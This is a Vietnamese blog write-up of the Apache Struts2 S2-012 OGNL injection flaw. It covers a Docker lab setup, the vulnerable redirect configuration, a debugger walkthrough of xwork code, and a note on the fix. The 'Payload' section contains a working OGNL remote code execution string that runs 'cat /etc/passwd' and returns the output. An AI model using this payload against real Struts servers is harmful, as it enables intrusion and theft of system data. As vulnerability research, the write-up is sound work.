HuuTuan .Info

Chia sẻ ATTT - CNTT - Đồ họa

Lỗ hổng bảo mật trên Apache Struts2 (S2-012)

Xin chào các bạn, hôm nay chúng ta cùng nhau nghiên cứu thêm một lỗ hổng bảo mật trên Apache Struts 2 khác đó là lỗi S2-012



I.  Thông tin lỗ hổng


Đánh giá thứ hai xảy ra khi kết quả chuyển hướng đọc nó từ ngăn xếp và sử dụng mã được chèn trước giống như một tham số chuyển hướng. Điều này cho phép người dùng độc hại đặt các  lệnh OGNL tùy ý vào bất kỳ biến String nào không được xác thực nào bởi một action và có được  sự đánh giá từ OGNL để cho phép thực thi phương thức và thực thi các phương thức tùy ý, bỏ qua sự bảo vệ trong thư viện Struts và OGNL.

Khi chuyển hướng xảy ra,  OGNL được đánh giá hai lần, khiến quá trình lọc tham số được thực hiện trước đó ở S2-003, S2-005 và S2-009 không lọc giá trị được chuyển hướng, dẫn đến thực hiện OGNL expression.

II. Khai thác

Cài đặt
docker-compose build
docker-compose up -d

Cần phải cấu hình cài đặt chuyển hướng trong môi trường và không hạn chế các tham số chuyển hướng (mặc định là không giới hạn)

Ta có file : struts.xml

<!DOCTYPE struts PUBLIC
        "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
        "http://struts.apache.org/dtds/struts-2.0.dtd">
<struts>

    <!-- <constant name="struts.enable.DynamicMethodInvocation" value="true" /> -->
    <constant name="struts.devMode" value="false" />

    <!-- Add packages here -->
    <package name="S2-012" extends="struts-default">
        <action name="user" class="com.demo.action.UserAction">
            <result name="redirect" type="redirect">/index.jsp?name=${name}</result>
            <result name="input">/index.jsp</result>
            <result name="success">/index.jsp</result>
        </action>
    </package>
</struts>

Truyền vào biểu thức OGNL %{1 + 1} trong tham số  chuyển hướng



Rõ ràng ta  có thể thấy rằng nó được phân tích thành 2, điều này gây ra việc thực thi mã.

Trong trường hợp này, chỉ cần bạn vượt qua poc trong S2-001, bạn có thể thực thi nó với mã tùy ý.

Payload
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat", "/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}




III. Phân tích lỗ hổng

Trong UserAction.java trong breakpoint execute()

Lúc này ta có thể xem các thông số, từng bước một xwork-core-2.2.3.jar!/com/opensymphony/xwork2/DefaultActionInvocation.class 

Sau đó Sau đó tiếp tục step over để trở lại ngăn xếp này


Sau đó đến phần code sau:


} else {
    this.resultCode = this.invokeActionOnly();
}

if (!this.executed) {
    if (this.preResultListeners != null) {
        Iterator i$ = this.preResultListeners.iterator();

        while(i$.hasNext()) {
            Object preResultListener = (PreResultListener)i$.next();
            PreResultListener listener = (PreResultListener)preResultListener;
            String _profileKey = &quot;preResultListener: &quot;;

            try {
                UtilTimerStack.push(_profileKey);
                listener.beforeResult(this, this.resultCode);
            } finally {
                UtilTimerStack.pop(_profileKey);
            }
        }
    }

    if (this.proxy.getExecuteResult()) {
        this.executeResult();
    }

Vì this.preResultListener! = Null không thỏa mãn, nó nhảy trực tiếp vào đoạn mã sau.


if (this.proxy.getExecuteResult()) {
    this.executeResult();
}


Đó là do biểu thức OGNL được thực thi ở đây, dẫn đến thực thi mã.

IV. Sửa lỗi

Class OGNLUtil đã được thay đổi để từ chối các biểu thức eval theo mặc định.
Mở mặc định từ chối các biểu thức OGNL độc hại
Đối chiếu với struts 2.3,14 và struts 2.3.14.1

Trong Class XWorkConstans


Đã thêm câu lệnh sau trong Class DefaultConfiguration.


0 Response to "Lỗ hổng bảo mật trên Apache Struts2 (S2-012)"

Post a Comment

Nội Quy Khi Comment:
» Các bài comment phải nghiêm túc, không dung tục, không spam.
» Nội dung phải liên quan tới chủ đề bài viết.
» Những nhận xét spam sẽ bị xóa.
» Sử dụng tài khoản Google để được trợ giúp.
» Nặc danh thường không được chào đón.
Note : Hãy để lại nhận xét bên dưới bạn nhé !

Quảng Cáo TOP

Quảng Cáo TOP 1

Quảng Cáo TOP 2

Quảng Cáo TOP